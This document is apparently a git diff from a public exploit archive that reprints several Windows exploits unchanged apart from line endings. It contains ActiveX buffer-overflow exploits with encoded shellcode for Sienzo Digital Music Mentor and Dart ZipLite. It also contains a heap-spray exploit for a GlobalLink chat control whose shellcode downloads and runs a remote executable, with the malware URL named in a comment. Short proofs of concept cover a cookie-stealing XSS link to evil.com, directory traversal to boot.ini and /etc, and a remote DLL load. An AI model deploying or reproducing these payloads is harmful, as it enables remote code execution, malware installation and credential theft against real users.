unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + nop + shellcode + nop test.LockModules egg, 1 End Sub Sub tryMe2 buff = String(296,"A") get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll) nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90") shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + nop + shellcode + nop test.UnlockModule egg, 1, "default" End Sub </script> </span> </code></pre> \ No newline at end of file +<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/06</b></p></span> <pre> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------------------------------- Sienzo Digital Music Mentor (DMM) 2.6.0.4 (DSKernel2.dll) multiple method local Stack Overflow Exploit url: http://www.sienzo.com/ price: $59.95 author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Tested on Windows XP Professional SP2 full patched <b>DSKernel2.dll v. 1.0.0.57 is vulnerable to a stack overflow that allows arbitrary code execution.</b> <font color = red><b>This exploits just open calc.exe</b></font> Time Table: 2007/30/04 -> Bug discovered 2007/30/04 -> Vendor notified by mail 2007/02/05 -> Vendor asks for more details 2007/02/05 -> Copy of exploits send to Vendor 2007/03/05 -> No more responses from Vendor 2007/06/05 -> Public disclosure on MoAxB -------------------------------------------------------------------------------------------------------- <object classid='clsid:E2B7DDA9-38C5-11D5-91F6-00104BDB8FF9' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the LockModules test" style="WIDTH: 350px; HEIGHT: 25px" size=20> <input language=VBScript onclick=tryMe2() type=button value="Click here to start the UnlockModule test" style="WIDTH: 350px; HEIGHT: 25px" size=20> <script language = 'vbscript'> Sub tryMe buff = String(263,"A") get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll) nop = unescape("%90%90%90%90%90") shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + nop + shellcode + nop test.LockModules egg, 1 End Sub Sub tryMe2 buff = String(296,"A") get_EIP = unescape("%EB%AA%D7%77") '0x77D7AAEB call esp (from user32.dll) nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90") shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + nop + shellcode + nop test.UnlockModule egg, 1, "default" End Sub </script> </span> </code></pre> \ No newline at end of file diff --git a/platforms/windows/remote/30016.txt b/platforms/windows/remote/30016.txt index deb15844d..651029be6 100755 --- a/platforms/windows/remote/30016.txt +++ b/platforms/windows/remote/30016.txt @@ -4,4 +4,4 @@ RoboHelp is prone to a cross-site scripting vulnerability because the applicatio An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief \ No newline at end of file +http://www.example.com/project_name/en/frameset-7.html#http://evil.com/cookiethief \ No newline at end of file diff --git a/platforms/windows/remote/30026.txt b/platforms/windows/remote/30026.txt index cb7b0498a..43e46a447 100755 --- a/platforms/windows/remote/30026.txt +++ b/platforms/windows/remote/30026.txt @@ -13,4 +13,4 @@ TFTP Server TFTPDWIN 0.4.2 is vulnerable; other versions may also be affected. ../../../../../boot.ini ../../../../../../boot.ini ../../../../../../../boot.ini -../../../../../../../../boot.ini \ No newline at end of file +../../../../../../../../boot.ini \ No newline at end of file diff --git a/platforms/windows/remote/30067.txt b/platforms/windows/remote/30067.txt index df8a66f21..069de8ad4 100755 --- a/platforms/windows/remote/30067.txt +++ b/platforms/windows/remote/30067.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to retrieve arbitrary files from the This issue affects rdiffWeb 0.3.5; other versions may also be affected. -http://localhost:8080/browse/?repo=b&path=..%2F..%2F..%2Fetc \ No newline at end of file +http://localhost:8080/browse/?repo=b&path=..%2F..%2F..%2Fetc \ No newline at end of file diff --git a/platforms/windows/remote/30069.html b/platforms/windows/remote/30069.html index bfa1e60aa..75d3c1d53 100755 --- a/platforms/windows/remote/30069.html +++ b/platforms/windows/remote/30069.html @@ -6,4 +6,4 @@ Successfully exploiting this issue allows remote attackers to execute arbitrary Dart ZipLite Compression ActiveX control 1.8.5.3 is vulnerable to this issue; other versions may also be affected. -<pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/22</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------------- <b>Dart ZipLite Compression for ActiveX (DartZipLite.dll v. 1.8.5.3) Local Buffer Overflow Exploit</b> url: http://www.dart.com/ author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Special thanks to <b><font color=red>rgod</font></b> that found the bug in DartZip.dll for his exploit see <a href="http://retrogod.altervista.org/ie_DartZip_bof.html">http://retrogod.altervista.org/ie_DartZip_bof.html</a> ------------------------------------------------------------------------------------------------- <object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE00D4DD' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() buff = String(1024, "A") get_EIP = unescape("%EB%AA%3F%7E") buff1 = String(28, "A") nop = String(16, unescape("%90")) shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + buff1 + nop + shellcode + nop test.QuickZip egg, "default", True, True, "default", 1 End Sub </script> </span></span> </code></pre> \ No newline at end of file +<pre> <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/22</b></p></span> <code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------------------------- <b>Dart ZipLite Compression for ActiveX (DartZipLite.dll v. 1.8.5.3) Local Buffer Overflow Exploit</b> url: http://www.dart.com/ author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org Special thanks to <b><font color=red>rgod</font></b> that found the bug in DartZip.dll for his exploit see <a href="http://retrogod.altervista.org/ie_DartZip_bof.html">http://retrogod.altervista.org/ie_DartZip_bof.html</a> ------------------------------------------------------------------------------------------------- <object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE00D4DD' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language = 'vbscript'> Sub tryMe() buff = String(1024, "A") get_EIP = unescape("%EB%AA%3F%7E") buff1 = String(28, "A") nop = String(16, unescape("%90")) shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _ unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _ unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _ unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _ unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _ unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _ unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _ unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _ unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _ unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _ unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _ unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _ unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _ unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _ unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _ unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _ unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _ unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _ unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _ unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _ unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _ unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a") egg = buff + get_EIP + buff1 + nop + shellcode + nop test.QuickZip egg, "default", True, True, "default", 1 End Sub </script> </span></span> </code></pre> \ No newline at end of file diff --git a/platforms/windows/remote/30169.txt b/platforms/windows/remote/30169.txt index 0cfcc4000..f5607cae5 100755 --- a/platforms/windows/remote/30169.txt +++ b/platforms/windows/remote/30169.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to trick victim users into encrypting potenti WinPT 1.2.0 is vulnerable; other versions may also be affected. -" <attacker@examle.com>"SSSSMMMMSSSS<victim@example2.com> "mailto:attacker@foo.org \ No newline at end of file +" <attacker@examle.com>"SSSSMMMMSSSS<victim@example2.com> "mailto:attacker@foo.org \ No newline at end of file diff --git a/platforms/windows/remote/30281.txt b/platforms/windows/remote/30281.txt index afb5fbe7f..df51dcd3f 100755 --- a/platforms/windows/remote/30281.txt +++ b/platforms/windows/remote/30281.txt @@ -4,4 +4,4 @@ Microsoft .NET Framework is prone to multiple NULL-byte injection vulnerabilitie An attacker can exploit these issues to access sensitive information that may aid in further attacks; other attacks are also possible. -http://www.example.com/[path]/somescript.asp%00 \ No newline at end of file +http://www.example.com/[path]/somescript.asp%00 \ No newline at end of file diff --git a/platforms/windows/remote/30287.txt b/platforms/windows/remote/30287.txt index 85a394e71..85d0bf028 100755 --- a/platforms/windows/remote/30287.txt +++ b/platforms/windows/remote/30287.txt @@ -6,4 +6,4 @@ A successful exploit of this issue may allow an attacker to bypass the filter an http://www.example.com/scripts%c0%afcmd.exe http://www.example.com/scripts%e0%80%afcmd.exe -http://www.example.com/scripts%c1%9ccmd.exe \ No newline at end of file +http://www.example.com/scripts%c1%9ccmd.exe \ No newline at end of file diff --git a/platforms/windows/remote/30381.txt b/platforms/windows/remote/30381.txt index b126b27c8..607cd92cd 100755 --- a/platforms/windows/remote/30381.txt +++ b/platforms/windows/remote/30381.txt @@ -28,4 +28,4 @@ nntp:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1 snews:// â??%ProgramFiles%\Outlook Express\msimn.exeâ? /newsurl:%1 -mailto:// C:\lotus\notes\notes.exe /defini %1 \ No newline at end of file +mailto:// C:\lotus\notes\notes.exe /defini %1 \ No newline at end of file diff --git a/platforms/windows/remote/30490.txt b/platforms/windows/remote/30490.txt index 8194eed0e..43351d94c 100755 --- a/platforms/windows/remote/30490.txt +++ b/platforms/windows/remote/30490.txt @@ -10,4 +10,4 @@ Successfully exploiting this issue allows remote attackers to execute arbitrary name=test></object> x= test.TypeLibInfoFromFile("\\\\IPADDRESS\\SHARE\\remote.dll") ' Call the remote DLLGetDocumentation function -alert(x.Interfaces.Item(a).Members.Item(b).HelpString) \ No newline at end of file +alert(x.Interfaces.Item(a).Members.Item(b).HelpString) \ No newline at end of file diff --git a/platforms/windows/remote/30600.html b/platforms/windows/remote/30600.html index a49bd65ef..676869908 100755 --- a/platforms/windows/remote/30600.html +++ b/platforms/windows/remote/30600.html @@ -62,4 +62,4 @@ This issue affects Xunlei Web Thunder 5.6.8.344; other versions may also be affe </SCRIPT> - <body oncontextmenu= " return false " onselectstart= " return false " ondragstart= " return false " > \ No newline at end of file + <body oncontextmenu= " return false " onselectstart= " return false " ondragstart= " return false " > \ No newline at end of file diff --git a/platforms/windows/remote/30720.html b/platforms/windows/remote/30720.html index 7785fdc0e..c3ffe4c1d 100755 --- a/platforms/windows/remote/30720.html +++ b/platforms/windows/remote/30720.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary code within the context GlobalLink 2.7.0.8 is affected by this issue; other versions may also be vulnerable. -<body> <script>window.onerror=function(){return true;}</script> <object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" style='display:none' id='target'></object> <SCRIPT language="javascript"> var shellcode = unescape(""+""+""+"%u9090"+""+""+""+"%u9090"+ ""+""+""+"%uefe9"+""+""+"%u0000"+""+""+"%u5a00"+""+""+"%ua164"+""+""+"%u0030"+""+""+"%u0000"+""+""+"%u408b"+""+""+"%u8b0c" + ""+""+""+"%u1c70"+""+""+"%u8bad"+""+""+"%u0840"+""+""+"%ud88b"+""+""+"%u738b"+""+""+"%u8b3c"+""+""+"%u1e74"+""+""+"%u0378" + ""+""+""+"%u8bf3"+""+""+"%u207e"+""+""+"%ufb03"+""+""+"%u4e8b"+""+""+"%u3314"+""+""+"%u56ed"+""+""+"%u5157"+""+""+"%u3f8b" + ""+""+""+"%ufb03"+""+""+"%uf28b"+""+""+"%u0e6a"+""+""+"%uf359"+""+""+"%u74a6"+""+""+"%u5908"+""+""+"%u835f"+""+""+"%u04c7" + ""+""+""+"%ue245"+""+""+"%u59e9"+""+""+"%u5e5f"+""+""+"%ucd8b"+""+""+"%u468b"+""+""+"%u0324"+""+""+"%ud1c3"+""+""+"%u03e1" + ""+""+""+"%u33c1"+""+""+"%u66c9"+""+""+"%u088b"+""+""+"%u468b"+""+""+"%u031c"+""+""+"%uc1c3"+""+""+"%u02e1"+""+""+"%uc103" + ""+""+""+"%u008b%uc303"+""+""+"%ufa8b"+""+""+"%uf78b"+""+""+"%uc683"+""+""+"%u8b0e"+""+""+"%u6ad0"+""+""+"%u5904" + ""+""+""+"%u6ae8"+""+""+"%u0000"+""+""+"%u8300"+""+""+"%u0dc6"+""+""+"%u5652"+""+""+"%u57ff"+""+""+"%u5afc"+""+""+"%ud88b" + ""+""+""+"%u016a"+""+""+"%ue859"+""+""+"%u0057"+""+""+"%u0000"+""+""+"%uc683"+""+""+"%u5613"+""+""+"%u8046"+""+""+"%u803e" + ""+""+""+"%ufa75"+""+""+"%u3680"+""+""+"%u5e80"+""+""+"%uec83"+""+""+"%u8b40"+""+""+"%uc7dc"+""+""+"%u6303"+""+""+"%u646d" + ""+""+""+"%u4320"+""+""+"%u4343"+""+""+"%u6643"+""+""+"%u03c7"+""+""+"%u632f"+""+""+"%u4343"+""+""+"%u03c6"+""+""+"%u4320" + ""+""+""+"%u206a"+""+""+"%uff53"+""+""+"%uec57"+""+""+"%u04c7"+""+""+"%u5c03"+""+""+"%u2e61"+""+""+"%uc765"+""+""+"%u0344" + ""+""+""+"%u7804"+""+""+"%u0065"+""+""+"%u3300"+""+""+"%u50c0"+""+""+"%u5350"+""+""+"%u5056"+""+""+"%u57ff"+""+""+"%u8bfc" + ""+""+""+"%u6adc"+""+""+"%u5300%u57ff"+""+""+"%u68f0"+""+""+"%u2451"+""+""+"%u0040"+""+""+"%uff58"+""+""+"%u33d0" + ""+""+""+"%uacc0"+""+""+"%uc085"+""+""+"%uf975"+""+""+"%u5251"+""+""+"%u5356"+""+""+"%ud2ff"+""+""+"%u595a"+""+""+"%ue2ab" + ""+""+""+"%u33ee"+""+""+"%uc3c0"+""+""+"%u0ce8"+""+""+"%uffff"+""+""+"%u47ff"+""+""+"%u7465"+""+""+"%u7250"+""+""+"%u636f" + ""+""+""+"%u6441"+""+""+"%u7264"+""+""+"%u7365"+""+""+"%u0073"+""+""+"%u6547"+""+""+"%u5374"+""+""+"%u7379"+""+""+"%u6574" + ""+""+""+"%u446d"+""+""+"%u7269"+""+""+"%u6365"+""+""+"%u6f74"+""+""+"%u7972"+""+""+"%u0041"+""+""+"%u6957"+""+""+"%u456e" + ""+""+""+"%u6578"+""+""+"%u0063"+""+""+"%u7845"+""+""+"%u7469"+""+""+"%u6854"+""+""+"%u6572"+""+""+"%u6461"+""+""+"%u4c00" + ""+""+""+"%u616f"+""+""+"%u4c64"+""+""+"%u6269"+""+""+"%u6172%u7972"+""+""+"%u0041"+""+""+"%u7275"+""+""+"%u6d6c" + ""+""+""+"%u6e6f"+""+""+"%u5500"+""+""+"%u4c52"+""+""+"%u6f44"+""+""+"%u6e77"+""+""+"%u6f6c"+""+""+"%u6461"+""+""+"%u6f54" + ""+""+""+"%u6946"+""+""+"%u656c"+""+""+"%u0041"+""+""+"%u7468"+""+""+"%u7074"+""+""+"%u2f3a"+""+""+"%u702f"+""+""+"%u6369" + ""+""+""+"%u312e%u2e36"+""+""+"%u6776"+""+""+"%u532f"+""+""+"%u3633"+""+""+"%u2f38"+""+""+"%u3353"+""+""+"%u3836" + ""+""+""+"%u2e32"+""+""+"%u7865"+""+""+"%u8065"+""+""+"%u0000"); </script> <SCRIPT language="javascript"> var fsk51d2sl = "63e23c122"; var bigblock = unescape(""+""+"%u9090"+""+"%u9090"); var fsk51d2sl = "63e23c122"; var headersize = 20; var fsk51d2sl = "63e23c122"; var slackspace = headersize+shellcode.length; var fsk51d2sl = "63e23c122"; while (bigblock.length<slackspace) bigblock+=bigblock; var fsk51d2sl = "63e23c122"; fillblock = bigblock.substring(0, slackspace); var fsk51d2sl = "63e23c122"; block = bigblock.substring(0, bigblock.length-slackspace); var fsk51d2sl = "63e23c122"; while(block.length+slackspace<0x40000) block = block+block+fillblock; var fsk51d2sl = "63e23c122"; memory = new Array(); var fsk51d2sl = "63e23c122"; for (x=0; x<300; x++) memory[x] = block +shellcode; var fsk51d2sl = "63e23c122"; var buffer = ''; var fsk51d2sl = "63e23c122"; while (buffer.length < 164) buffer+="A"; var fsk51d2sl = "63e23c122"; buffer=buffer+"\x0a\x0a\x0a\x0a"+buffer; var fsk51d2sl = "63e23c122"; ok="ok"; var fsk51d2sl = "63e23c122"; target.ConnectAndEnterRoom(buffer,ok,ok,ok,ok,ok ); var fsk51d2sl = "63e23c122"; </script? </body> <mEtA Http-Equiv="Content-TypE" content="TeXt/htMl; CharSet=Us-AsCiI" /> /************************************************************************************************** 有漏洞的组件为：C:\Program Files\GlobalLink\Game\Share\GLChat.ocx, GlobalLink 其 CLSID:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69 下载的病毒为： http://pic.16.vg/S368/S3682.exe 超星阅读器的Exploits代码如下，这个看样子现在还是个0-Day /************************************************************************************************** \ No newline at end of file +<body> <script>window.onerror=function(){return true;}</script> <object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" style='display:none' id='target'></object> <SCRIPT language="javascript"> var shellcode = unescape(""+""+""+"%u9090"+""+""+""+"%u9090"+ ""+""+""+"%uefe9"+""+""+"%u0000"+""+""+"%u5a00"+""+""+"%ua164"+""+""+"%u0030"+""+""+"%u0000"+""+""+"%u408b"+""+""+"%u8b0c" + ""+""+""+"%u1c70"+""+""+"%u8bad"+""+""+"%u0840"+""+""+"%ud88b"+""+""+"%u738b"+""+""+"%u8b3c"+""+""+"%u1e74"+""+""+"%u0378" + ""+""+""+"%u8bf3"+""+""+"%u207e"+""+""+"%ufb03"+""+""+"%u4e8b"+""+""+"%u3314"+""+""+"%u56ed"+""+""+"%u5157"+""+""+"%u3f8b" + ""+""+""+"%ufb03"+""+""+"%uf28b"+""+""+"%u0e6a"+""+""+"%uf359"+""+""+"%u74a6"+""+""+"%u5908"+""+""+"%u835f"+""+""+"%u04c7" + ""+""+""+"%ue245"+""+""+"%u59e9"+""+""+"%u5e5f"+""+""+"%ucd8b"+""+""+"%u468b"+""+""+"%u0324"+""+""+"%ud1c3"+""+""+"%u03e1" + ""+""+""+"%u33c1"+""+""+"%u66c9"+""+""+"%u088b"+""+""+"%u468b"+""+""+"%u031c"+""+""+"%uc1c3"+""+""+"%u02e1"+""+""+"%uc103" + ""+""+""+"%u008b%uc303"+""+""+"%ufa8b"+""+""+"%uf78b"+""+""+"%uc683"+""+""+"%u8b0e"+""+""+"%u6ad0"+""+""+"%u5904" + ""+""+""+"%u6ae8"+""+""+"%u0000"+""+""+"%u8300"+""+""+"%u0dc6"+""+""+"%u5652"+""+""+"%u57ff"+""+""+"%u5afc"+""+""+"%ud88b" + ""+""+""+"%u016a"+""+""+"%ue859"+""+""+"%u0057"+""+""+"%u0000"+""+""+"%uc683"+""+""+"%u5613"+""+""+"%u8046"+""+""+"%u803e" + ""+""+""+"%ufa75"+""+""+"%u3680"+""+""+"%u5e80"+""+""+"%uec83"+""+""+"%u8b40"+""+""+"%uc7dc"+""+""+"%u6303"+""+""+"%u646d" + ""+""+""+"%u4320"+""+""+"%u4343"+""+""+"%u6643"+""+""+"%u03c7"+""+""+"%u632f"+""+""+"%u4343"+""+""+"%u03c6"+""+""+"%u4320" + ""+""+""+"%u206a"+""+""+"%uff53"+""+""+"%uec57"+""+""+"%u04c7"+""+""+"%u5c03"+""+""+"%u2e61"+""+""+"%uc765"+""+""+"%u0344" + ""+""+""+"%u7804"+""+""+"%u0065"+""+""+"%u3300"+""+""+"%u50c0"+""+""+"%u5350"+""+""+"%u5056"+""+""+"%u57ff"+""+""+"%u8bfc" + 